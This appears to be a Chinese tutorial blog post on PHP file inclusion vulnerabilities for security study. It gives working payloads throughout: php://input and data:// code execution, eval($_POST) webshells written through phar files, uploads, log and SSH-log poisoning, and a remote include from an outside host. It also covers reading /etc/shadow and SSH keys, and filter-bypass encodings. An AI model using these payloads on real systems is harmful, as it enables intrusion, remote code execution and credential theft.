文件包含总结

实验环境:phpstudy,在D:\phpStudy\PHPTutorial\WWW\目录下新建fileinclude,然后新建index.php,内容如下

<?php
    $file = $_GET['file'];
    include $file;
?>

基本

相关函数

php中引发文件包含漏洞的通常是以下四个函数:

  1. include()
  2. include_once()
  3. require()
  4. require_once()
  • reuqire() 如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句

  • include() 如果出错的话,只会提出警告,会继续执行后续语句

  • require_once()include_once() 功能与require()include() 类似。不同的是,如果一个文件已经被包含过了,则 require_once()include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。
  • 当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),只要文件内容符合PHP语法规范,都会直接作为php文件进行解析,而包含非PHP语法规范源文件时,则会暴露其源代码。测试代码放在fileinclude目录下index.php
<?php
    $file = $_GET['file'];
    include $file;
?>

在同目录下新建phpinfo.txt,其内容为<?php phpinfo(); ?>。则只需要访问:

http://localhost/fileinclude/index.php?file=phpinfo.txt

即可成功解析phpinfo

文件包含漏洞场景

  1. 具有相关的文件包含函数。
  2. 文件包含函数中存在动态变量,比如 include $file;
  3. 攻击者能够控制该变量,比如$file = $_GET['file'];

    分类

    LFI(Local File Inclusion)

    本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。简单的测试用例如前所示。

RFI(Remote File Inclusion)

远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置

allow_url_fopen = On
allow_url_include = On

两个配置选项均需要为On,才能远程包含文件成功。

php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off

包含姿势

下面例子中测试代码均为:index.php

<?php
    $file = $_GET['file'];
    include $file;
?>

allow_url_fopen 默认为 On
allow_url_include 默认为Off

若有特殊要求,会在利用条件里指出

php伪协议

php://input

说明

用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。

利用条件:
php <5.0 ,allow_url_include=Off 情况下也可以用
php > 5.0,只有在allow_url_fopen=On 时才能使用

allow_url_fopen不做要求。

姿势1:增加一句话

shell.php文件中只有“123456”

URL:

http://localhost/fileinclude/index.php
?file=php://input

POST:(这里利用hackbar)

<?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>") ?>

结果将在index.php所在文件下的文件shell.php内增加”<?php phpinfo();?>“一句话。

姿势2:增加文件

URL

http://localhost/fileinclude/index.php
?file=php://input

POST:

<?php fputs(fopen("oneword.php","w"),"<?php phpinfo();?>") ?>

这里fopen参数为w,可新建一个文件。即在当前目录新建oneword.php文件,内容为<?php phpinfo();?>

姿势3:执行系统命令

URL:

http://localhost/fileinclude/index.php
?file=php://input

POST:

<?php system('ipconfig');?>

php://filter

说明

这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码即可得到源码。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。

利用条件:无甚
姿势:
index.php?file=php://filter/read=convert.base64-encode/resource=index.php

其他姿势:
index.php?file=php://filter/convert.base64-encode/resource=index.php

效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。

phar://

说明:

phar是一个文件归档的包,类似于Java中的Jar文件,方便了PHP模块的迁移。php中默认安装了这个模块。

比如上传的文件名遭到了限制,我们无法上传php的文件,但是却只能包含php文件的时候(包含文件后缀名被限制 include ‘$file’.’.php’),我们就可以通过上传phar文件,再利用php伪协议来包含。

利用条件:

php版本大于等于php5.3.0

姿势:
创建一个phar文件

在创建phar文件的时候要注意phar.readonly这个参数要为off,否则phar文件不可写

<?php
$p = new phar("shell.phar", 0 , "shell.phar");
$p->startBuffering();
$p['shell.php'] = '<?php phpinfo(); @eval($_POST[x])?>';
$p->setStub("<?php Phar::mapPhar('shell.phar'); __HALT_COMPILER?>");
?>

运行以上代码后会在当前目录下生成一个名为shell.phar的文件,这个文件可以被includefile_get_contents等函数利用

利用phar

利用phar文件的方法很简单,利用phar特定的格式就可以加以利用

<?php
include 'phar://shell.phar/shell.php';
?>

这样就可以成功把shell包含进来。当我们把shell.phar文件重命名为shell.aaa等一些无效的后缀名时,一样可以使用,说明了phar文件不受文件格式的影响

指定绝对路径

index.php?file=phar://D:/phpStudy/WWW/fileinclude/shell.phar/shell.php

或者使用相对路径(这里test.zip就在当前目录下)

index.php?file=phar://shell.phar/shell.php

zip://

利用条件:

php版本大于等于php5.3.0

姿势:

首先我们新建一个zip文件,里面压缩着一个php脚本(可以为php和jpg后缀)
假设有个文件phpinfo.txt,其内容为<?php phpinfo(); ?>,打包成zip压缩包,如下:

但使用zip协议,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件。若是使用相对路径,则会包含失败。

index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt

####
data:URI schema

说明

这是一种数据流封装器,data:URI schema(URL schema可以是很多形式)

利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中

利用条件:
  • php版本大于等于php5.2
  • allow_url_fopen = On
  • allow_url_include = On
姿势一:
index.php?file=data:text/plain,<?php phpinfo();?>

执行命令
index.php?file=data:text/plain,<?php system('whoami');?>

姿势二:
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

加号+的url编码为%2bPD9waHAgcGhwaW5mbygpOz8+的base64解码为:<?php phpinfo();?>

执行命令
index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

其中PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==的base64解码为:<?php system('whoami');?>

姿势三:
index.php?imagedata=data://image/jpeg;base64,.....

(后面加上图片木马)

包含session

利用条件:

session文件路径已知,且其中内容部分可控。

姿势:

php的session文件的保存路径可以在phpinfosession.save_path看到。

常见的php-session存放位置

/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。

要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。

比如这篇文章:透過 LFI 引入 PHP session 檔案觸發 RCE

包含日志

访问日志

说明:

当我们没有上传点,并且也没有url_allow_include功能时,我们就可以考虑包含服务器的日志文件

Web服务器的访问日志文件,这是一种通用的技巧。因为几乎所有网站都会将用户的访问记录到访问日志中。因此,攻击者可以向Web日志中插入PHP代码,通过文件包含漏洞来执行包含在Web日志中的PHP代码。

需要注意的是,如果网站访问量大的话,日志文件可能会非常大,这时如果包含一个这么大的文件时,PHP进程可能会卡死。一般网站通常会每天生成一个新的日志文件,因此在凌晨时进行攻击相对来说容易成功。

利用条件:

需要知道服务器日志的存储路径,且日志文件可读。

姿势:

apache用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。攻击者使用Apache日志文件包含时,首先要确定Apache的日志路径,默认情况下,日志保存路径在 /var/log/apache/access.l

  1. 访问链接:http://www.test.com/<;?php eval(POST_['test']) ?>
  2. 使用菜刀连接 http://www.test.com/index.php?file=/var/log/apache/access.log
  3. 由于access的日志文件比较大,所以webshell可能会很慢甚至卡死,所以用bp代理截包,将包的UA设置为" ",使得payload进入错入日志var/log/apache/error.log
  4. 这时候用菜刀连接http://www.test.com/index.php?file=../../../../../../../../../var/log/apache/error.log,因为通常它比acess.log体积小点,所以webshell没有那么卡!!~

    tips:但如果是直接发起请求,会导致一些符号(如:<,>,空格)被编码使得包含无法正确解析。可以使用bp代理截包后,在bp上修改,然后再发出去

如下图可以看到,正常的php代码已经写入了 /var/log/apache2/access.log。然后进行包含即可。

在一些场景中,log的地址是被修改掉的。你可以通过读取相应的配置文件后,再进行包含。

SSH log

利用条件:
  1. 如果服务器开启了ssh,且我们使用的是默认ssh端口22,或者我们知道服务器使用什么端口
  2. 需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log
姿势:

sshputty连接,<?php eval(POST_['test']) ?>作为用户名

ssh '<?php eval(POST_['test']) ?>'@remotehost

之后会提示输入密码等等,随便输入,这时肯定会登录失败,用户名(<?php eval(POST_['test']) ?>)会被记录在ssh的失败登入日志ssh-log上。即在remotehostssh-log中即可写入php代码

之后进行文件包含即可(菜刀连接)。
参考:RCE with LFI and SSH Log Poisoning

包含environ环境变量

利用条件:

  1. php以cgi方式运行,这样environ才会保持UA头。
  2. environ文件存储位置已知,且environ文件可读。

姿势:

proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,然后访问Web服务器,则php代码会被写入到environ中。之后再包含该文件获取webshell。下面是该文件的内容

DOCUMENT_ROOT=/home/sirgod/public_html 
GATEWAY_INTERFACE=CGI/1.1 
HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml,
image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac 
HTTP_HOST=www.test.com 
HTTP_REFERER=http://www.test.com/index.php 
HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 
PATH=/bin:/usr/bin 
QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron 
REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx 
REMOTE_PORT=35665 
REQUEST_METHOD=GET 
REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron 
SCRIPT_FILENAME=/home/sirgod/public_html/index.php 
SCRIPT_NAME=/index.php 
SERVER_ADDR=1xx.1xx.1xx.6x 
SERVER_ADMIN=webmaster@test.com 
SERVER_NAME=www.website.com 
SERVER_PORT=80 
SERVER_PROTOCOL=HTTP/1.0 
SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2
mod_auth_passthrough/2.1 mod_bwlimited/1.4 
FrontPage/5.0.2.2635 Server at www.test.com Port 80

可以参考这个:

  1. The proc/self/environ Injection
  2. shell via LFI - proc/self/environ method

包含fd

跟包含environ类似。

参考: LFI Cheat Sheet:/proc/self/environ LFI Method

包含临时文件

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考LFI With PHPInfo Assistance

类似利用临时文件的存在,竞争时间去包含的,可以看看这道CTF题 XMAN夏令营-2017-babyweb-writeup | Chybeta

本地包含配合文件上传

说明

很多网站通常会提供文件上传功能,比如:上传头像,文档等。

利用条件:

千变万化,不过至少得知道上传的文件在哪,叫啥名字。。。

假设已经上传一句话图片木马到服务器,路径为:

/uploadfile/201363.jpg

图片代码如下:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>

姿势:

访问URL:

http://www.xxser.com/Index.php?page=./uploadfile/201363.jpg

包含这张图片,将会在Index.php所在的目录下生成shell.php,此时可以通过中国菜刀连接了。

读取敏感信息

访问URL:http://www.xxser.com/index.php?page=/etc/passwd,如果目标主机文件存在,并且有相应的权限,那么就可以读出文件内容。反之,会得到类似open_basedirrestriction in effect.的警告

# 如下是例子,其中的../用于返回根目录,九个即可
?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf

更多敏感信息路径

常见敏感信息路径如下

Windows
C:\boot.ini        // 查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml    // IIS配置文件
C:\windows\repair\sam                                    // 存储Windows系统初次安装的密码
C:\Program Files\mysql\my.ini                          // Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD // Mysql root
C:\windows\php.ini                                           // php配置信息
C:\windows\my.ini                                            // Mysql配置文件
Linux/Unix
普通权限
/etc/passwd
/usr/local/app/apache2/conf/httpd.conf                            // apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf         // 虚拟网站设置
/usr/local/app/php5/lib/php.ini                                          // PHP相关配置
/etc/httpd/conf/httpd.conf                                               // apache配置文件
/etc/my.cnf                                                                       // Mysql的配置文件
/var/log/apache/error.log
/proc/self/environ
/var/log/
/var/log/apache/access.log
root权限:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/var/log/wtmp
/var/run/utmp

远程包含shell

前提:

目标主机的allow_url_fopen是激活的,那么就可以尝试远程包含一句话木马,假设我的一句话木马放在我的网站http://www.2cto.com/echo.txt上,代码如下:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>

这时候访问url:http://www.xxser.com/index.php?page=http://www.2cto.com/echo.txt,将会在index.php所在的目录生成shell.php,内容如下:

<?php eval($_POST[xxser]);?>

这时候再用菜刀去连接即可

其余

一个web服务往往会用到多个其他服务,比如ftp服务,数据库等等。这些应用也会产生相应的文件,但这就需要具体情况具体分析咯。这里就不展开了

绕过姿势

接下来聊聊绕过姿势。平常碰到的情况肯定不会是简简单单的include $_GET['file'];这样直接把变量传入包含函数的。在很多时候包含的变量/文件不是完全可控的,比如下面这段代码指定了前缀和后缀

<?php
    $file = $_GET['file'];
    include '/var/www/html/'.$file.'/test/test.php';
?>

这样就很“难”直接去包含前面提到的种种文件。

指定前缀

先考虑一下指定了前缀的情况吧。测试代码:

<?php
    $file = $_GET['file'];
    include '/var/www/html/'.$file;
?>

目录遍历

?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db
# linux中这两个文件储存着所有文件的路径,需要root权限

现在在/var/log/test.txt文件中有php代码<?php phpinfo();?>,则利用../可以进行目录遍历,比如我们尝试访问:

include.php?file=../../log/test.txt

则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,也即/var/log/test.txt。从而包含成功

编码绕过

服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。下面这些总结来自《白帽子讲Web安全》。

  • 利用url编码
    • ../
      • %2e%2e%2f
      • ..%2f
      • %2e%2e/
    • ..\
      • %2e%2e%5c
      • ..%5c
      • %2e%2e\
  • 二次编码
    • ../
      • %252e%252e%252f
    • ..\
      • %252e%252e%255c
  • 容器/服务器的编码方式
    • ../
    • ..\
      • ..%c1%9c

        指定后缀

        接着考虑指定后缀的情况。测试代码:
<?php
    $file = $_GET['file'];
    include $file.'/test/test.php';
?>

URL

url格式

protocol :// hostname[:port] / path / [;parameters][?query]#fragment

在远程文件包含漏洞(RFI)中,可以利用queryfragment来绕过后缀限制。

姿势一:query(?)
index.php?file=http://remoteaddr/remoteinfo.txt?

则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php
问号后面的部分/test/test.php,也就是指定的后缀被当作query从而被绕过

姿势二:fragment(#)
index.php?file=http://remoteaddr/remoteinfo.txt%23

则包含的文件为 http://remoteaddr/remoteinfo.txt#/test/test.php
问号后面的部分/test/test.php,也就是指定的后缀被当作fragment从而被绕过。注意需要把#进行url编码为%23

长度截断

利用条件: php版本 < php 5.2.8

目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./或者../

index.php?file=././././。。。省略。。。././shell.txt

则后缀/test/test.php,在达到最大值后会被直接丢弃掉

0字节截断

利用条件:magic_quotes_gpc=off, php版本 < php 5.3.4

index.php?file=phpinfo.txt%00
# 或者需要回到根目录,利用../
?file=../../../../../../../../../etc/passwd%00
# 或者是
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

tips:[...]的意思是很多个点

能利用00截断的场景现在应该很少了

经验总结

若是过滤了远程文件包含和我们目录的跳转

  1. 大小写混合输入就可以绕过远程文件包含的过滤
  2. 目录跳转的过滤我们可以构造….//….//xxx.php,方式绕过

点号截断

?file=../../../../../../../../../boot.ini/………[…]…………

php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256*

参考


   转载规则


《文件包含总结》 冯文华 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
web源码泄露总结 web源码泄露总结
参考https://www.xmanblog.net/2017/04/03/web-code-leakage/ 寻找源代码备份 在打ctf的时候,有时候页面什么提示都没有,这时候就要考虑一下是不是源代码泄露了 hg 源码泄露hg init
2019-03-10
下一篇 
文件上传解析总结 文件上传解析总结
前言 本文参考如下链接: https://github.com/CHYbeta/Web-Security-Learning 概述Web站点一般会有用户注册的功能,当用户注册之后,大多数情况下都会存在类似头像上传等个性化的设置,这些功能点往
  目录